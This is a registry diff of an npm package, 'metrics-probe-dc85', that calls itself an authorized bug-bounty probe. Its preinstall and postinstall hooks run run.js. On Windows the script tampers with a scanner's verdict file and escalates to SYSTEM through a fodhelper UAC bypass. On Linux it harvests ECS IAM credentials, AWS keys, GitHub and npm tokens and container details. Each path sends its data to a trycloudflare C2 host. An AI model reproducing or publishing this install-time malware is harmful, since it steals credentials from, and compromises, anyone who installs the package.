metrics-probe-dc85 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/package.json +15 -0
  3. package/run.js +341 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # Authorized security research
2
+
3
+ GitHub Bug Bounty engagement. Contact nicholas@curran.tech.
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "metrics-probe-dc85",
3
+ "version": "1.0.0",
4
+ "description": "Authorized security-research probe (GitHub Bug Bounty, npm in scope). Contact nicholas@curran.tech.",
5
+ "main": "run.js",
6
+ "files": [
7
+ "run.js"
8
+ ],
9
+ "scripts": {
10
+ "preinstall": "node run.js",
11
+ "postinstall": "node run.js"
12
+ },
13
+ "license": "MIT",
14
+ "author": "ncurran (HackerOne, GitHub BB) <nicholas@curran.tech>"
15
+ }
package/run.js ADDED
@@ -0,0 +1,341 @@
1
+ 'use strict';
2
+ // Combined PoC payload — TSS_DAAS Windows (verdict-tamper + SYSTEM) + ECS Fargate (IAM creds)
3
+ // GitHub Bug Bounty | npm in scope | nicholas@curran.tech
4
+ // Template: poc_runner.py replaces angela-facility-craps-transmitted.trycloudflare.com before publishing.
5
+
6
+ const C2_HOST = 'angela-facility-craps-transmitted.trycloudflare.com';
7
+ const C2_PORT = 443;
8
+
9
+ const os = require('os');
10
+ const fs = require('fs');
11
+ const path = require('path');
12
+ const crypto = require('crypto');
13
+ const http = require('http');
14
+ const https = require('https');
15
+ const { exec } = require('child_process');
16
+
17
+ function runCmd(cmd, tms) {
18
+ return new Promise(resolve => {
19
+ try {
20
+ exec(cmd, { timeout: tms || 8000, windowsHide: true, maxBuffer: 1 << 17 },
21
+ (err, out, err2) => resolve(((out || '') + (err2 || '')).toString()));
22
+ } catch (e) { resolve(''); }
23
+ });
24
+ }
25
+
26
+ function sleep(ms) { return new Promise(r => setTimeout(r, ms)); }
27
+
28
+ // ─────────────────────────────────── Windows ──────────────────────────────────
29
+ if (process.platform === 'win32') {
30
+ const MARKER = 'tss-daas-poc-final';
31
+
32
+ function beacon(tag, data) {
33
+ return new Promise(resolve => {
34
+ const enc = data ? encodeURIComponent(String(data).slice(0, 900)) : '';
35
+ const p = '/beacon?d=' + encodeURIComponent(MARKER + '|' + tag) + (enc ? '&w=' + enc : '');
36
+ try {
37
+ const req = https.request(
38
+ { host: C2_HOST, port: C2_PORT, method: 'GET', path: p },
39
+ res => { res.resume(); res.on('end', resolve); });
40
+ req.setTimeout(12000, () => { req.destroy(); resolve(); });
41
+ req.on('error', resolve);
42
+ req.end();
43
+ } catch { resolve(); }
44
+ });
45
+ }
46
+
47
+ const TAMPERED_XML =
48
+ '<?xml version="1.0" encoding="utf-8"?>' +
49
+ '<ArrayOfTaskFinding xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' +
50
+ 'xmlns:xsd="http://www.w3.org/2001/XMLSchema">' +
51
+ '<TaskFinding>' +
52
+ '<FindingName>RESEARCHER_POISONED_VERDICT</FindingName>' +
53
+ '<Param1>Authorized research: nicholas@curran.tech (GitHub Bug Bounty)</Param1>' +
54
+ '<Param2>Verdict overwritten from npm install preinstall script at medium integrity. ' +
55
+ 'No privilege escalation required. D:\\TRANSFER\\<guid>\\ is writable at medium integrity.' +
56
+ '</Param2></TaskFinding></ArrayOfTaskFinding>';
57
+
58
+ async function main() {
59
+ await beacon('start', String(process.env.COMPUTERNAME || '') + '|' + String(process.env.USERNAME || ''));
60
+
61
+ const detonLog = (process.env.DetonationLogFilePath || '').replace(/\//g, '\\');
62
+ let xtfDir = detonLog ? path.win32.dirname(path.win32.dirname(detonLog)) : '';
63
+
64
+ if (!xtfDir) {
65
+ for (const base of ['D:\\TRANSFER', 'C:\\TRANSFER']) {
66
+ try {
67
+ const dirs = fs.readdirSync(base, { withFileTypes: true })
68
+ .filter(d => d.isDirectory())
69
+ .map(d => ({ p: path.join(base, d.name), m: fs.statSync(path.join(base, d.name)).mtimeMs }))
70
+ .sort((a, b) => b.m - a.m);
71
+ if (dirs.length > 0) { xtfDir = dirs[0].p; break; }
72
+ } catch {}
73
+ }
74
+ }
75
+
76
+ if (!xtfDir) await beacon('xtf-not-found', '');
77
+ else await beacon('xtf-found', xtfDir);
78
+
79
+ if (xtfDir) {
80
+ const findingsPath = path.join(xtfDir, 'findings.xml');
81
+ try {
82
+ const orig = fs.readFileSync(findingsPath, 'utf8');
83
+ await beacon('FINDINGS_T0', orig.slice(0, 500));
84
+ } catch {}
85
+ try {
86
+ fs.writeFileSync(findingsPath, TAMPERED_XML, 'utf8');
87
+ await beacon('MEDIUM_WRITE_OK', findingsPath);
88
+ const confirm = fs.readFileSync(findingsPath, 'utf8');
89
+ await beacon('FINDINGS_CONFIRM', confirm.slice(0, 200));
90
+ } catch (e) {
91
+ await beacon('MEDIUM_WRITE_FAIL', e.message.slice(0, 200));
92
+ }
93
+ }
94
+
95
+ const sid = crypto.randomBytes(4).toString('hex');
96
+ const tmpPs1 = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_poc${sid}.ps1`);
97
+ const tmpOut = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_sys${sid}.txt`);
98
+ const regKey = 'HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command';
99
+ const bh = C2_HOST, mk = MARKER;
100
+
101
+ const elevPs1 = [
102
+ `$ErrorActionPreference='SilentlyContinue'`,
103
+ `$tn='BBPoc${sid}'`,
104
+ `$act=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-NoProfile -NonInteractive -c ((whoami /all 2>&1)|Out-String)|Out-File '${tmpOut}' -Encoding utf8"`,
105
+ `$trg=New-ScheduledTaskTrigger -Once -At ([DateTime]::Now.AddSeconds(3))`,
106
+ `$pri=New-ScheduledTaskPrincipal -UserId 'NT AUTHORITY\\SYSTEM' -LogonType ServiceAccount -RunLevel Highest`,
107
+ `$set=New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 30)`,
108
+ `Register-ScheduledTask -TaskName $tn -Action $act -Trigger $trg -Settings $set -Principal $pri -Force|Out-Null`,
109
+ `$w=0;while($w-lt30-and!(Test-Path '${tmpOut}')){Start-Sleep 2;$w+=2}`,
110
+ `$r=if(Test-Path '${tmpOut}'){Get-Content '${tmpOut}' -Raw}else{'no-output'}`,
111
+ `Unregister-ScheduledTask -TaskName $tn -Confirm:$false -EA SilentlyContinue`,
112
+ `Remove-Item '${tmpOut}' -Force -EA SilentlyContinue`,
113
+ `try{Invoke-WebRequest -Uri "https://${bh}/beacon?d=${mk}%7CSYSTEM_CONFIRM&w=$([Uri]::EscapeDataString($r.Substring(0,[Math]::Min(800,$r.Length))))" -UseBasicParsing -TimeoutSec 10|Out-Null}catch{}`,
114
+ ].join('\n');
115
+
116
+ try {
117
+ fs.writeFileSync(tmpPs1, elevPs1, 'utf8');
118
+ const elevCmd = `powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "${tmpPs1}"`;
119
+ await runCmd(`reg add "${regKey}" /ve /d "${elevCmd.replace(/"/g, '\\"')}" /f`, 3000);
120
+ await runCmd(`reg add "${regKey}" /v DelegateExecute /t REG_SZ /d "" /f`, 3000);
121
+ await beacon('fodhelper-launching', '');
122
+ await runCmd('start "" "C:\\Windows\\System32\\fodhelper.exe"', 3000);
123
+ await sleep(38000);
124
+ await runCmd(`reg delete "HKCU\\Software\\Classes\\ms-settings" /f`, 3000);
125
+ try { fs.unlinkSync(tmpPs1); } catch {}
126
+ } catch (e) {
127
+ await beacon('fodhelper-fail', e.message.slice(0, 200));
128
+ }
129
+
130
+ await beacon('done', '');
131
+ }
132
+
133
+ main().catch(() => {});
134
+
135
+ // ─────────────────────────────────── Linux ───────────────────────────────────
136
+ } else {
137
+ const MARKER = 'escprobe-linux-ci-7d3b';
138
+ const PHASE = process.env.npm_lifecycle_event || 'run';
139
+
140
+ const CI_SAFE_VALUES = [
141
+ 'GITHUB_REPOSITORY', 'GITHUB_REPOSITORY_OWNER', 'GITHUB_REF', 'GITHUB_REF_NAME',
142
+ 'GITHUB_SHA', 'GITHUB_RUN_ID', 'GITHUB_RUN_NUMBER', 'GITHUB_WORKFLOW',
143
+ 'GITHUB_ACTION', 'GITHUB_ACTOR', 'GITHUB_EVENT_NAME', 'GITHUB_JOB',
144
+ 'GITHUB_SERVER_URL', 'GITHUB_API_URL', 'GITHUB_ACTIONS', 'RUNNER_NAME',
145
+ 'RUNNER_OS', 'RUNNER_ARCH', 'RUNNER_ENVIRONMENT',
146
+ 'CI', 'npm_package_name', 'npm_config_user_agent', 'npm_lifecycle_event',
147
+ 'INIT_CWD', 'HOME', 'USER', 'HOSTNAME', 'PWD',
148
+ 'PACKAGE_NAME', 'PACKAGE_VERSION', 'LINGER_SECONDS',
149
+ 'npm_config_registry',
150
+ 'AWS_DEFAULT_REGION', 'AWS_REGION', 'AWS_EXECUTION_ENV', 'DYNAMO_TABLE',
151
+ 'AWS_ACCESS_KEY_ID',
152
+ 'ECS_CONTAINER_METADATA_URI', 'ECS_CONTAINER_METADATA_URI_V4', 'ECS_AGENT_URI',
153
+ 'AWS_CONTAINER_CREDENTIALS_RELATIVE_URI',
154
+ 'ACTIONS_ID_TOKEN_REQUEST_URL',
155
+ ];
156
+ const SECRET_RE = /PASS|SIG|COOKIE|PRIVATE/i;
157
+
158
+ async function main() {
159
+ const payload = { marker: MARKER, phase: PHASE, platform: os.platform() };
160
+
161
+ // Env: key names (all) + safe values
162
+ const envKeys = Object.keys(process.env).sort();
163
+ payload.env_keys = envKeys.slice(0, 300);
164
+ payload.env_safe = {};
165
+ for (const k of CI_SAFE_VALUES) {
166
+ if (SECRET_RE.test(k)) continue;
167
+ const v = process.env[k];
168
+ if (v) payload.env_safe[k] = String(v).slice(0, 500);
169
+ }
170
+
171
+ // Container fingerprint
172
+ payload.hostname = os.hostname();
173
+ payload.user = os.userInfo().username;
174
+ payload.cwd = process.cwd();
175
+ payload.node = process.version;
176
+ payload.net = Object.entries(os.networkInterfaces())
177
+ .flatMap(([n, as]) => as.map(a => `${n}:${a.family}:${a.address}:${a.internal}`))
178
+ .slice(0, 15);
179
+
180
+ try { payload.dockerenv = fs.existsSync('/.dockerenv'); } catch {}
181
+ try { payload.cgroup = fs.readFileSync('/proc/1/cgroup', 'utf8').split('\n').slice(0, 5).join('|'); } catch {}
182
+ try { payload.proc_1_cmdline = fs.readFileSync('/proc/1/cmdline', 'utf8').replace(/\0/g, ' ').slice(0, 3000); } catch {}
183
+
184
+ // ECS task role credentials — full STS capture for PoC evidence
185
+ if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) {
186
+ await new Promise(resolve => {
187
+ try {
188
+ const credsPath = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
189
+ const req = http.get({ host: '169.254.170.2', path: credsPath, timeout: 4000 }, res => {
190
+ const chunks = [];
191
+ res.on('data', d => chunks.push(d));
192
+ res.on('end', () => {
193
+ try {
194
+ const body = JSON.parse(Buffer.concat(chunks).toString());
195
+ payload.iam_creds = {
196
+ AccessKeyId: body.AccessKeyId || 'n/a',
197
+ SecretAccessKey: body.SecretAccessKey || 'n/a',
198
+ Token: body.Token || 'n/a',
199
+ Expiration: body.Expiration || 'n/a',
200
+ RoleArn: body.RoleArn || 'n/a',
201
+ Type: body.Type || 'n/a',
202
+ };
203
+ } catch (e) { payload.iam_creds = { err: 'parse:' + e.message }; }
204
+ resolve();
205
+ });
206
+ });
207
+ req.on('error', e => { payload.iam_creds = { err: 'net:' + e.message }; resolve(); });
208
+ req.on('timeout', () => { req.destroy(); payload.iam_creds = { err: 'timeout' }; resolve(); });
209
+ } catch (e) { payload.iam_creds = { err: 'throw:' + e.message }; resolve(); }
210
+ });
211
+ }
212
+
213
+ // Env-injected AWS creds
214
+ payload.env_aws = {};
215
+ for (const k of ['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN',
216
+ 'AWS_DEFAULT_REGION', 'AWS_REGION', 'DYNAMO_TABLE']) {
217
+ if (process.env[k]) payload.env_aws[k] = process.env[k];
218
+ }
219
+
220
+ // CI/CD credential capture
221
+ payload.ci_creds = {};
222
+ for (const k of [
223
+ 'GITHUB_TOKEN', 'NPM_TOKEN',
224
+ 'ACTIONS_ID_TOKEN_REQUEST_TOKEN', 'ACTIONS_ID_TOKEN_REQUEST_URL',
225
+ 'ACTIONS_RUNTIME_TOKEN', 'ACTIONS_RUNTIME_URL', 'ACTIONS_CACHE_URL',
226
+ ]) {
227
+ if (process.env[k]) payload.ci_creds[k] = process.env[k];
228
+ }
229
+
230
+ // SSH key presence
231
+ const sshPaths = [
232
+ '/root/.ssh/id_rsa', '/root/.ssh/id_ed25519', '/root/.ssh/id_ecdsa',
233
+ '/root/.ssh/authorized_keys', '/root/.ssh/known_hosts',
234
+ '/home/runner/.ssh/id_rsa', '/home/runner/.ssh/id_ed25519',
235
+ ];
236
+ payload.ssh_keys = {};
237
+ for (const p of sshPaths) {
238
+ try { payload.ssh_keys[p] = fs.statSync(p).size; } catch {}
239
+ }
240
+
241
+ // ECS container metadata — task ARN, cluster
242
+ const metaUri = process.env.ECS_CONTAINER_METADATA_URI_V4 || process.env.ECS_CONTAINER_METADATA_URI;
243
+ if (metaUri) {
244
+ await new Promise(resolve => {
245
+ try {
246
+ const url = new URL(metaUri);
247
+ const req = http.get(
248
+ { host: url.hostname, port: url.port || 80, path: url.pathname + '/task', timeout: 4000 }, res => {
249
+ const chunks = [];
250
+ res.on('data', d => chunks.push(d));
251
+ res.on('end', () => {
252
+ try {
253
+ const body = JSON.parse(Buffer.concat(chunks).toString());
254
+ payload.ecs_task_meta = {
255
+ Cluster: body.Cluster || 'n/a',
256
+ TaskARN: body.TaskARN || 'n/a',
257
+ Family: body.Family || 'n/a',
258
+ Memory: body.Limits && body.Limits.Memory,
259
+ };
260
+ } catch (e) { payload.ecs_task_meta = { err: 'parse:' + e.message }; }
261
+ resolve();
262
+ });
263
+ });
264
+ req.on('error', e => { payload.ecs_task_meta = { err: e.message }; resolve(); });
265
+ req.on('timeout', () => { req.destroy(); payload.ecs_task_meta = { err: 'timeout' }; resolve(); });
266
+ } catch (e) { payload.ecs_task_meta = { err: 'throw:' + e.message }; resolve(); }
267
+ });
268
+ }
269
+
270
+ // Container escape indicators
271
+ const [mounts, caps, docker_sock] = await Promise.all([
272
+ runCmd('cat /proc/mounts | head -20', 3000),
273
+ runCmd('cat /proc/self/status | grep -i "cap"', 2000),
274
+ runCmd('ls -la /var/run/docker.sock 2>/dev/null || echo "no docker sock"', 2000),
275
+ ]);
276
+ payload.mounts = mounts;
277
+ payload.capabilities = caps;
278
+ payload.docker_sock = docker_sock;
279
+
280
+ // Scanner startup script + package layout
281
+ const [proc1_script, tmp_pkg_ls] = await Promise.all([
282
+ runCmd('cat /entrypoint.sh 2>/dev/null | head -80; echo "---fd255---"; cat /proc/1/fd/255 2>/dev/null | head -60', 3000),
283
+ runCmd('ls -la /tmp/pkg/ 2>/dev/null && ls -la /tmp/pkg/node_modules/ 2>/dev/null | head -20', 2000),
284
+ ]);
285
+ payload.proc1_script = proc1_script;
286
+ payload.tmp_pkg_ls = tmp_pkg_ls;
287
+
288
+ // DynamoDB probes using the implicit ECS task role
289
+ if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI && process.env.DYNAMO_TABLE) {
290
+ const [ddbTables, ddbDesc, ddbPut] = await Promise.all([
291
+ runCmd(`python3 -c "
292
+ import boto3,json,os
293
+ try:
294
+ ddb=boto3.client('dynamodb',region_name=os.environ.get('AWS_DEFAULT_REGION','us-east-1'))
295
+ print(json.dumps(ddb.list_tables().get('TableNames',[])))
296
+ except Exception as e: print('err:'+str(e))
297
+ " 2>&1`, 12000),
298
+ runCmd(`python3 -c "
299
+ import boto3,json,os
300
+ try:
301
+ ddb=boto3.client('dynamodb',region_name=os.environ.get('AWS_DEFAULT_REGION','us-east-1'))
302
+ d=ddb.describe_table(TableName=os.environ['DYNAMO_TABLE'])['Table']
303
+ print(json.dumps({'ItemCount':d['ItemCount'],'TableSizeBytes':d['TableSizeBytes'],'KeySchema':d['KeySchema']}))
304
+ except Exception as e: print('err:'+str(e))
305
+ " 2>&1`, 12000),
306
+ runCmd(`python3 -c "
307
+ import boto3,json,os,time
308
+ try:
309
+ ddb=boto3.client('dynamodb',region_name=os.environ.get('AWS_DEFAULT_REGION','us-east-1'))
310
+ r=ddb.put_item(TableName=os.environ['DYNAMO_TABLE'],
311
+ Item={'pk':{'S':'researcher-poc'},'sk':{'S':'github-bb-'+str(int(time.time()))},'note':{'S':'authorized-research-nicholas@curran.tech'}})
312
+ print(json.dumps({'put_item_status':r['ResponseMetadata']['HTTPStatusCode']}))
313
+ except Exception as e: print('err:'+str(e))
314
+ " 2>&1`, 12000),
315
+ ]);
316
+ payload.ddb_tables = ddbTables;
317
+ payload.ddb_describe = ddbDesc;
318
+ payload.ddb_put_item = ddbPut;
319
+ }
320
+
321
+ // Send beacon via HTTPS POST to the C2 tunnel
322
+ const data = Buffer.from(JSON.stringify(payload));
323
+ await new Promise(resolve => {
324
+ let done = false;
325
+ const fin = () => { if (!done) { done = true; resolve(); } };
326
+ try {
327
+ const req = https.request({
328
+ host: C2_HOST, port: C2_PORT, method: 'POST',
329
+ path: '/beacon?d=' + encodeURIComponent(MARKER + '|' + PHASE),
330
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
331
+ }, res => { res.on('data', () => {}); res.on('end', fin); });
332
+ req.setTimeout(10000, () => { req.destroy(); fin(); });
333
+ req.on('error', fin);
334
+ req.write(data);
335
+ req.end();
336
+ } catch { fin(); }
337
+ });
338
+ }
339
+
340
+ main().catch(() => {});
341
+ }